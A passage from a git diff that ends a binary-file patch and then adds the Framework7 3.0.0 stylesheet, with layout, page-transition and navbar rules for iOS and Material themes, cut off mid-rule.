z<%i3vK#u=EU--K*oB~f}Cjfr*ZiY|!cTfEwvh<*Js#4sXS3u{2>{A~sn$M0R72K0s zI8=ie-=(pm!l60v`mL)1?}Fk74?P)@_S0yx*Ft1}$PujNPeEhOtqs+|UoAO!paBmz z*n{$p_B$VZ?Ft_}lTexwO1rz%1oDary!i5l`)~&L!`;!B2Zfl!H~At2ul!5 zJtDgq!>XA@S&H=0GMf|VQoQ~R|2PtL>2&#Y+mF!JmkS7lqZ_pjoAU$dNwWS zO0&X7VwQs2n$}0Yk_JKk{XF_Lm2E1g- z=Y1U)uQPzwSV370dXs0>&JDEr2;vonwvYkBlul3`ii69q0_!e{e-?M>97SlbAw$}h zFYsJp(r}zPkg5@$##sP=NVtJHxpD=^`y*_VdTY?LV9LcfvSFi9HxV`3U@BCC$RK8d zW_R;e$^~E#Y`G9^+{!X>+}=dMj*K`=-QmMv8l3MaSe7-8&=_qt@VNx&WlZQ90BNV;w2nz>o8@6tD9MJe=-*!~dmG*n_gj{LQXkF8{(2#7 zl`Mu2K0vGu_IMVyTK6nM`|~X7t7%zw{45S^`BM>I`Au`Z^)XaGU3J#Q0JRO!Pk)1< zse0?JvmQFC3r*Kcd-b95dg!6H1ufiv<8{p2JL+eUybi6-Y;6tLguk^_$$0h1VylXhhE_c(^)D@3!>j9uBbt==Bc(c(rftQ_by<(>>?a QW8}wPUeo^@jR61v08@RD2LJ#7 literal 0 HcmV?d00001 diff --git a/framework7/css/framework7.css b/framework7/css/framework7.css new file mode 100644 index 0000000..66cd83b --- /dev/null +++ b/framework7/css/framework7.css @@ -0,0 +1,29570 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html, +body, +.framework7-root { + position: relative; + height: 100%; + width: 100%; + overflow-x: hidden; +} +body { + margin: 0; + padding: 0; + font-size: 14px; + width: 100%; + background: #fff; + overflow: hidden; + -webkit-text-size-adjust: 100%; + -webkit-font-smoothing: antialiased; +} +.framework7-root { + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.framework7-initializing *, +.framework7-initializing *:before, +.framework7-initializing *:after { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +/* +a, button, input, textarea, .link, .button, label, .sortable-handler { + touch-action: manipulation; + -ms-touch-action: manipulation; +} +*/ +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 672px; + } +} +* { + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); + -webkit-touch-callout: none; +} +a, +input, +textarea, +select { + outline: 0; +} +a { + cursor: pointer; + text-decoration: none; +} +p { + margin: 1em 0; +} +.disabled { + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios body { + font-family: -apple-system, SF UI Text, Helvetica Neue, Helvetica, Arial, sans-serif; + color: #000; + line-height: 1.4; +} +.ios .md-only, +.ios .if-md { + display: none !important; +} +.ios a { + color: #007aff; +} +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + .ios, + .ios body, + .ios .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + .ios, + .ios body, + .ios .framework7-root { + height: 672px; + } +} +.ios .theme-dark { + color: #fff; +} +.ios .color-theme-red a { + color: #ff3b30; +} +.ios .color-theme-green a { + color: #4cd964; +} +.ios .color-theme-blue a { + color: #007aff; +} +.ios .color-theme-pink a { + color: #ff2d55; +} +.ios .color-theme-yellow a { + color: #ffcc00; +} +.ios .color-theme-orange a { + color: #ff9500; +} +.ios .color-theme-gray a { + color: #8e8e93; +} +.ios .color-theme-white a { + color: #ffffff; +} +.ios .color-theme-black a { + color: #000000; +} +.ios a.color-red { + color: #ff3b30; +} +.ios a.color-green { + color: #4cd964; +} +.ios a.color-blue { + color: #007aff; +} +.ios a.color-pink { + color: #ff2d55; +} +.ios a.color-yellow { + color: #ffcc00; +} +.ios a.color-orange { + color: #ff9500; +} +.ios a.color-gray { + color: #8e8e93; +} +.ios a.color-white { + color: #ffffff; +} +.ios a.color-black { + color: #000000; +} +.md body { + font-family: Roboto, Noto, Helvetica, Arial, sans-serif; + color: #212121; + line-height: 1.5; +} +.md .ios-only, +.md .if-ios { + display: none !important; +} +.md a { + color: #2196f3; +} +.md .theme-dark { + color: rgba(255, 255, 255, 0.87); +} +.md .color-theme-red a { + color: #f44336; +} +.md .color-theme-green a { + color: #4caf50; +} +.md .color-theme-blue a { + color: #2196f3; +} +.md .color-theme-pink a { + color: #e91e63; +} +.md .color-theme-yellow a { + color: #ffeb3b; +} +.md .color-theme-orange a { + color: #ff9800; +} +.md .color-theme-gray a { + color: #9e9e9e; +} +.md .color-theme-white a { + color: #ffffff; +} +.md .color-theme-black a { + color: #000000; +} +.md a.color-red { + color: #f44336; +} +.md a.color-green { + color: #4caf50; +} +.md a.color-blue { + color: #2196f3; +} +.md a.color-pink { + color: #e91e63; +} +.md a.color-yellow { + color: #ffeb3b; +} +.md a.color-orange { + color: #ff9800; +} +.md a.color-gray { + color: #9e9e9e; +} +.md a.color-white { + color: #ffffff; +} +.md a.color-black { + color: #000000; +} +/* === Statusbar === */ +.statusbar { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 10000; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: none; +} +html.device-ios .statusbar, +html.ios:not(.device-ios):not(.device-android) .statusbar { + height: 20px; +} +html.device-android .statusbar, +html.md:not(.device-ios):not(.device-android) .statusbar { + height: 24px; +} +html.device-ios.device-iphone-x .statusbar { + height: constant(safe-area-inset-top); + height: env(safe-area-inset-top); +} +html.with-statusbar .statusbar { + display: block; +} +html.with-statusbar.device-ios .framework7-root, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 20px; +} +html.with-statusbar.device-android .framework7-root, +html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 24px; +} +html.with-statusbar.device-iphone-x .framework7-root { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.ios .statusbar { + background: #f7f7f8; +} +.ios .theme-dark .statusbar { + background-color: #1b1b1b; +} +.md .statusbar { + background: #0a6ebd; +} +.md .color-theme-red .statusbar { + background: #d2190b; +} +.md .color-theme-green .statusbar { + background: #357a38; +} +.md .color-theme-blue .statusbar { + background: #0a6ebd; +} +.md .color-theme-pink .statusbar { + background: #aa1145; +} +.md .color-theme-yellow .statusbar { + background: #eed500; +} +.md .color-theme-orange .statusbar { + background: #b36a00; +} +.md .color-theme-gray .statusbar { + background: #787878; +} +.md .color-theme-white .statusbar { + background: #d9d9d9; +} +.md .color-theme-black .statusbar { + background: #000000; +} +/* === Views === */ +.views, +.view { + position: relative; + height: 100%; + z-index: 5000; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +/* === Pages === */ +.pages { + position: relative; + width: 100%; + height: 100%; + overflow: hidden; +} +.page { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.page.stacked { + display: none; +} +.page-previous { + pointer-events: none; +} +.page-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; + position: relative; + z-index: 1; +} +.ios .page-shadow-effect { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + right: 100%; + background: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); +} +.ios .page-opacity-effect { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; +} +.ios .router-dynamic-navbar-inside .page-shadow-effect, +.ios .router-dynamic-navbar-inside .page-opacity-effect { + top: 44px; +} +.ios .page { + background: #efeff4; +} +.ios .page-previous { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); +} +.ios .page-next { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.ios .page-previous .page-opacity-effect { + opacity: 1; +} +.ios .page-previous:after { + opacity: 1; +} +.ios .page-current .page-shadow-effect { + opacity: 1; +} +.ios .page-transitioning, +.ios .page-transitioning .page-shadow-effect, +.ios .page-transitioning .page-opacity-effect { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .router-transition-forward .page-next, +.ios .router-transition-backward .page-next, +.ios .router-transition-forward .page-current, +.ios .router-transition-backward .page-current, +.ios .router-transition-forward .page-previous:not(.stacked), +.ios .router-transition-backward .page-previous:not(.stacked) { + pointer-events: none; +} +.ios .router-transition-css-forward .page-next { + -webkit-animation: ios-page-next-to-current 400ms forwards; + animation: ios-page-next-to-current 400ms forwards; +} +.ios .router-transition-css-forward .page-next:before { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + right: 100%; + background: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + -webkit-animation: ios-page-next-to-current-shadow 400ms forwards; + animation: ios-page-next-to-current-shadow 400ms forwards; +} +.ios .router-transition-css-forward .page-current { + -webkit-animation: ios-page-current-to-previous 400ms forwards; + animation: ios-page-current-to-previous 400ms forwards; +} +.ios .router-transition-css-forward .page-current:after { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; + -webkit-animation: ios-page-current-to-previous-opacity 400ms forwards; + animation: ios-page-current-to-previous-opacity 400ms forwards; +} +.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-next:before, +.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-current:after { + top: 44px; +} +.ios .router-transition-css-backward .page-previous, +.ios .router-transition-css-backward .page-current { + pointer-events: none; +} +.ios .router-transition-css-backward .page-previous { + -webkit-animation: ios-page-previous-to-current 400ms forwards; + animation: ios-page-previous-to-current 400ms forwards; +} +.ios .router-transition-css-backward .page-previous:after { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; + -webkit-animation: ios-page-previous-to-current-opacity 400ms forwards; + animation: ios-page-previous-to-current-opacity 400ms forwards; +} +.ios .router-transition-css-backward .page-current { + -webkit-animation: ios-page-current-to-next 400ms forwards; + animation: ios-page-current-to-next 400ms forwards; +} +.ios .router-transition-css-backward .page-current:before { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + right: 100%; + background: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + -webkit-animation: ios-page-current-to-next-shadow 400ms forwards; + animation: ios-page-current-to-next-shadow 400ms forwards; +} +.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-current:before, +.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-previous:after { + top: 44px; +} +.ios .theme-dark .page, +.page.ios .theme-dark { + background: #171717; +} +@-webkit-keyframes ios-page-next-to-current { + from { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@keyframes ios-page-next-to-current { + from { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@-webkit-keyframes ios-page-previous-to-current { + from { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@keyframes ios-page-previous-to-current { + from { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@-webkit-keyframes ios-page-current-to-previous { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); + } +} +@keyframes ios-page-current-to-previous { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); + } +} +@-webkit-keyframes ios-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@keyframes ios-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@-webkit-keyframes ios-page-next-to-current-shadow { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-page-next-to-current-shadow { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-page-previous-to-current-opacity { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-page-previous-to-current-opacity { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@-webkit-keyframes ios-page-current-to-previous-opacity { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-page-current-to-previous-opacity { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-page-current-to-next-shadow { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-page-current-to-next-shadow { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +.md .page-shadow-effect { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + right: 100%; + background: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); +} +.md .page-opacity-effect { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; +} +.md .page { + background: #fff; +} +.md .page-next { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + pointer-events: none; +} +.md .page-next.page-next-on-right { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.md .page-transitioning, +.md .page-transitioning .page-shadow-effect, +.md .page-transitioning .page-opacity-effect { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.md .page-transitioning-swipeback, +.md .page-transitioning-swipeback .page-shadow-effect, +.md .page-transitioning-swipeback .page-opacity-effect { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .router-transition-forward .page, +.md .router-transition-backward .page { + pointer-events: none; +} +.md .router-transition-css-forward .page-next { + -webkit-animation: md-page-next-to-current 250ms forwards; + animation: md-page-next-to-current 250ms forwards; +} +.md .router-transition-css-forward .page-current { + -webkit-animation: none; + animation: none; +} +.md .router-transition-css-backward .page-current { + -webkit-animation: md-page-current-to-next 250ms forwards; + animation: md-page-current-to-next 250ms forwards; +} +.md .router-transition-css-backward .page-previous { + -webkit-animation: none; + animation: none; +} +.md .theme-dark .page, +.page.md .theme-dark { + background: #171717; +} +@-webkit-keyframes md-page-next-to-current { + from { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } + to { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); + opacity: 1; + } +} +@keyframes md-page-next-to-current { + from { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } + to { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); + opacity: 1; + } +} +@-webkit-keyframes md-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; + } + to { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } +} +@keyframes md-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; + } + to { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } +} +/* === Link === */ +.link, +.tab-link { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 1; +} +.ios .link { + -webkit-transition: opacity 300ms; + transition: opacity 300ms; +} +.ios .link i + span, +.ios .link i + i, +.ios .link span + i, +.ios .link span + span { + margin-left: 7px; +} +.ios .link.active-state { + opacity: 0.3; + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.md .link i + span, +.md .link i + i, +.md .link span + i, +.md .link span + span { + margin-left: 8px; +} +/* === Navbar === */ +.navbar { + position: relative; + left: 0; + top: 0; + width: 100%; + z-index: 500; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar b { + font-weight: 500; +} +.navbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.navbar .title, +.navbar .left, +.navbar .right { + position: relative; + z-index: 1; +} +.navbar .title { + text-align: center; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + font-weight: 500; + display: inline-block; +} +.navbar .subtitle { + display: block; +} +.navbar .left, +.navbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar .right:first-child { + position: absolute; + height: 100%; +} +.navbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.navbar-inner.stacked { + display: none; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.ios .navbar { + height: 44px; + font-size: 17px; + background: #f7f7f8; +} +.ios .navbar.no-hairline:after { + display: none !important; +} +.ios .navbar:after { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.ios .navbar a.link { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + line-height: 44px; + height: 44px; +} +.ios .navbar a.icon-only { + width: 44px; + margin: 0; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .navbar .title { + font-size: 17px; + margin: 0; + line-height: 1.2; +} +.ios .navbar .subtitle { + color: #6d6d72; + line-height: 1; + font-size: 10px; + text-align: center; + font-weight: normal; +} +.ios .navbar .left a + a, +.ios .navbar .right a + a { + margin-left: 15px; +} +.ios .navbar b, +.ios .navbar .title { + font-weight: 600; +} +.ios .navbar .left { + margin-right: 10px; +} +.ios .navbar .right { + margin-left: 10px; +} +.ios .navbar .right:first-child { + right: 8px; +} +.ios .navbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .navbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .navbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .navbar-inner { + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 0 8px; +} +.ios .navbar ~ *:not(.no-navbar) .page-content, +.ios .navbar ~ .page-content { + padding-top: 44px; +} +.ios .navbar-previous { + pointer-events: none; +} +.ios .navbar-previous .left, +.ios .navbar-previous .right, +.ios .navbar-previous > .title, +.ios .navbar-previous .subnavbar, +.ios .navbar-previous .fading { + opacity: 0; +} +.ios .navbar-previous .sliding { + opacity: 0; +} +.ios .navbar-previous .subnavbar.sliding, +.ios .navbar-previous.sliding .subnavbar { + opacity: 1; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.ios .navbar-next { + pointer-events: none; +} +.ios .navbar-next .left, +.ios .navbar-next .right, +.ios .navbar-next > .title, +.ios .navbar-next .subnavbar, +.ios .navbar-next .fading { + opacity: 0; +} +.ios .navbar-next .sliding { + opacity: 0; +} +.ios .navbar-next.sliding .left, +.ios .navbar-next.sliding .right, +.ios .navbar-next.sliding > .title, +.ios .navbar-next.sliding .subnavbar { + opacity: 0; +} +.ios .navbar-next .subnavbar.sliding, +.ios .navbar-next.sliding .subnavbar { + opacity: 1; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.ios .navbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .navbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.ios .router-transition-css-forward .navbar-current .left, +.ios .router-transition-css-backward .navbar-current .left, +.ios .router-transition-css-forward .navbar-current > .title, +.ios .router-transition-css-backward .navbar-current > .title, +.ios .router-transition-css-forward .navbar-current .right, +.ios .router-transition-css-backward .navbar-current .right, +.ios .router-transition-css-forward .navbar-current .subnavbar, +.ios .router-transition-css-backward .navbar-current .subnavbar { + -webkit-animation: ios-navbar-element-fade-out 400ms forwards; + animation: ios-navbar-element-fade-out 400ms forwards; +} +.ios .router-transition-css-forward .navbar-current .sliding, +.ios .router-transition-css-backward .navbar-current .sliding, +.ios .router-transition-css-forward .navbar-current .left.sliding .icon, +.ios .router-transition-css-backward .navbar-current .left.sliding .icon, +.ios .router-transition-css-forward .navbar-current.sliding .left, +.ios .router-transition-css-backward .navbar-current.sliding .left, +.ios .router-transition-css-forward .navbar-current.sliding .left .icon, +.ios .router-transition-css-backward .navbar-current.sliding .left .icon, +.ios .router-transition-css-forward .navbar-current.sliding > .title, +.ios .router-transition-css-backward .navbar-current.sliding > .title, +.ios .router-transition-css-forward .navbar-current.sliding .right, +.ios .router-transition-css-backward .navbar-current.sliding .right { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + opacity: 0 !important; + -webkit-animation: none; + animation: none; +} +.ios .router-transition-css-forward .navbar-current.sliding .subnavbar, +.ios .router-transition-css-backward .navbar-current.sliding .subnavbar, +.ios .router-transition-css-forward .navbar-current .sliding.subnavbar, +.ios .router-transition-css-backward .navbar-current .sliding.subnavbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-animation: none; + animation: none; + opacity: 1; +} +.ios .router-transition-css-forward .navbar-next .left, +.ios .router-transition-css-backward .navbar-previous .left, +.ios .router-transition-css-forward .navbar-next > .title, +.ios .router-transition-css-backward .navbar-previous > .title, +.ios .router-transition-css-forward .navbar-next .right, +.ios .router-transition-css-backward .navbar-previous .right, +.ios .router-transition-css-forward .navbar-next .subnavbar, +.ios .router-transition-css-backward .navbar-previous .subnavbar { + -webkit-animation: ios-navbar-element-fade-in 400ms forwards; + animation: ios-navbar-element-fade-in 400ms forwards; +} +.ios .router-transition-css-forward .navbar-next .sliding, +.ios .router-transition-css-backward .navbar-previous .sliding, +.ios .router-transition-css-forward .navbar-next .left.sliding .icon, +.ios .router-transition-css-backward .navbar-previous .left.sliding .icon, +.ios .router-transition-css-forward .navbar-next.sliding .left, +.ios .router-transition-css-backward .navbar-previous.sliding .left, +.ios .router-transition-css-forward .navbar-next.sliding .left .icon, +.ios .router-transition-css-backward .navbar-previous.sliding .left .icon, +.ios .router-transition-css-forward .navbar-next.sliding > .title, +.ios .router-transition-css-backward .navbar-previous.sliding > .title, +.ios .router-transition-css-forward .navbar-next.sliding .right, +.ios .router-transition-css-backward .navbar-previous.sliding .right, +.ios .router-transition-css-forward .navbar-next.sliding .subnavbar, +.ios .router-transition-css-backward .navbar-previous.sliding .subnavbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-animation: none; + animation: none; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; + opacity: 1 !important; +} +.ios .theme-dark .navbar, +.navbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .navbar:after, +.navbar.ios .theme-dark:after { + background-color: #282829; +} +.ios .theme-dark .navbar .subtitle, +.navbar.ios .theme-dark .subtitle { + color: #8e8e93; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .navbar-inner, + .ios.device-iphone-x .ios-edges .navbar-inner, + .ios.device-iphone-x .popup .navbar-inner, + .ios.device-iphone-x .sheet-modal .navbar-inner, + .ios.device-iphone-x .panel-left .navbar-inner { + padding-left: calc(8px + constant(safe-area-inset-right)); + padding-left: calc(8px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .navbar-inner, + .ios.device-iphone-x .ios-edges .navbar-inner, + .ios.device-iphone-x .popup .navbar-inner, + .ios.device-iphone-x .sheet-modal .navbar-inner, + .ios.device-iphone-x .panel-right .navbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes ios-navbar-element-fade-in { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-navbar-element-fade-in { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-navbar-element-fade-out { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-navbar-element-fade-out { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +.md .navbar { + height: 56px; + background: #2196f3; + color: #fff; + font-size: 20px; +} +.md .navbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 